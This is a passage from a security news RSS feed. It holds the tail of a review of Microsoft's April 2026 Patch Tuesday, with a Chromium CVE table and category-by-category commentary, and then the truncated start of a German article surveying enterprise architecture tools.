  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



